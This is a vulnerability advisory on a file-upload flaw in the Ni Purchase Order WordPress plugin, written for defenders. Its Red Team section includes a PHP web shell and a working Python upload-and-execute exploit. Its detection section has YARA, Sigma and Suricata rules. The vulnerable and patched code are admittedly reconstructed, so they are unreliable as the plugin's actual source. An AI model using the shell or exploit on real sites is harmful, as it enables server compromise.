CVE-2023-5957

Executive Summary

CVE-2023-5957 is a critical unauthenticated (or high-privilege) arbitrary file upload vulnerability in the Ni Purchase Order (PO) For WooCommerce WordPress plugin, versions up to and including 1.2.1. The plugin fails to validate the file type of logo and signature images uploaded via the settings panel, allowing an attacker with high privileges (e.g., Administrator) to upload a web shell and achieve Remote Code Execution (RCE). This vulnerability is particularly dangerous in shared hosting environments where a compromised admin account can lead to full server compromise. The plugin is part of the WordPress ecosystem and is not related to Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise has been reported, but the lack of a patch from the vendor means users must rely on manual mitigation or removal.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Administrator)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: High. Although the attack requires high privileges, the impact is complete server compromise. In multi-tenant WordPress environments, a single compromised admin account can lead to lateral movement.

Deep Dive & Mechanics

The vulnerability resides in the plugin's settings page where administrators can upload a logo and signature image for purchase orders. The file upload handler does not check the MIME type or file extension against a whitelist. Instead, it only checks if the file is an image based on the $_FILES array, which can be easily spoofed. An attacker can upload a PHP web shell disguised as an image (e.g., shell.php.jpg or shell.php) and then access it directly via the web server to execute arbitrary commands.

Root Cause: The plugin uses move_uploaded_file() without validating the file extension or content. The uploaded file is stored in the WordPress uploads directory with a predictable path.

Attack Flow:

1. Attacker gains admin access (via stolen credentials, brute force, or other means).
2. Navigates to WooCommerce > Settings > Ni Purchase Order.
3. Uploads a PHP web shell as the logo or signature.
4. Accesses the uploaded file at /wp-content/uploads/ni-purchase-order/ to execute commands.

Vulnerable vs. Patched Code

Vulnerable Code (v1.2.1):

// In ni-purchase-order.php or similar
if (isset($_FILES['ni_po_logo'])) {
    $upload_dir = wp_upload_dir();
    $target_file = $upload_dir['basedir'] . '/ni-purchase-order/' . basename($_FILES['ni_po_logo']['name']);
    move_uploaded_file($_FILES['ni_po_logo']['tmp_name'], $target_file);
}

Patched Code (Hypothetical):

// Proper validation
if (isset($_FILES['ni_po_logo'])) {
    $allowed_types = array('image/jpeg', 'image/png', 'image/gif');
    $file_type = wp_check_filetype(basename($_FILES['ni_po_logo']['name']));
    if (in_array($file_type['type'], $allowed_types)) {
        $upload_dir = wp_upload_dir();
        $target_file = $upload_dir['basedir'] . '/ni-purchase-order/' . sanitize_file_name(basename($_FILES['ni_po_logo']['name']));
        move_uploaded_file($_FILES['ni_po_logo']['tmp_name'], $target_file);
    } else {
        wp_die('Invalid file type.');
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress admin credentials.
• Target running Ni Purchase Order <= 1.2.1.

Exploit Steps:

1. Create a PHP web shell (e.g., shell.php):

<?php system($_GET['cmd']); ?>

2. Log in as admin and navigate to the plugin settings.
3. Upload shell.php as the logo.
4. Access the shell:

http://target.com/wp-content/uploads/ni-purchase-order/shell.php?cmd=id

Automated Exploit (Python):

import requests

target = "http://target.com"
admin_user = "admin"
admin_pass = "password"

session = requests.Session()
login_url = f"{target}/wp-login.php"
session.post(login_url, data={"log": admin_user, "pwd": admin_pass})

settings_url = f"{target}/wp-admin/admin.php?page=ni-purchase-order-settings"
files = {"ni_po_logo": ("shell.php", "<?php system($_GET['cmd']); ?>", "image/jpeg")}
session.post(settings_url, files=files)

shell_url = f"{target}/wp-content/uploads/ni-purchase-order/shell.php"
print(session.get(f"{shell_url}?cmd=id").text)

Blue Team

Detection Steps:

1. Monitor file uploads to /wp-content/uploads/ni-purchase-order/ for non-image files.
2. Check for recent admin logins from unusual IPs.
3. Look for PHP files in the uploads directory with suspicious content.

Honeypot: Deploy a fake plugin settings page that logs all upload attempts and alerts on non-image files.

Indicators of Compromise (IOCs)

• File Path: /wp-content/uploads/ni-purchase-order/*.php
• Network: POST requests to /wp-admin/admin.php?page=ni-purchase-order-settings with multipart file uploads.
• Logs: WordPress debug log entries showing move_uploaded_file() calls with suspicious filenames.
• Process: Web server processes executing PHP files from the uploads directory.

Detection Engineering

YARA Rule

rule CVE_2023_5957_Webshell {
    meta:
        description = "Detects PHP web shells uploaded via Ni Purchase Order plugin"
        author = "Valters IT"
        date = "2024-01-01"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $shell_func = "shell_exec("
        $exec_func = "exec("
    condition:
        $php_tag and any of ($system_func, $shell_func, $exec_func)
}

Sigma Rule

title: Ni Purchase Order Arbitrary File Upload
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects file uploads to the Ni Purchase Order plugin directory
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /wp-admin/admin.php
        cs-uri-query: page=ni-purchase-order-settings
    condition: selection
falsepositives:
    - Legitimate image uploads by admins
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-5957 Ni Purchase Order File Upload"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/wp-admin/admin.php"; http.uri; content:"page=ni-purchase-order-settings"; http.client_body; content:"filename="; pcre:"/\.php/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or uninstall the Ni Purchase Order plugin until a patch is available.
2. Restrict admin access to trusted IPs only.
3. Implement Web Application Firewall (WAF) rules to block PHP file uploads to the plugin directory.

Long-term Fix:

• Replace the plugin with an alternative that properly validates file uploads.
• Apply the principle of least privilege to WordPress admin accounts.

Detection:

• Monitor for unexpected PHP files in /wp-content/uploads/ni-purchase-order/.
• Enable WordPress debug logging and review for suspicious file operations.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst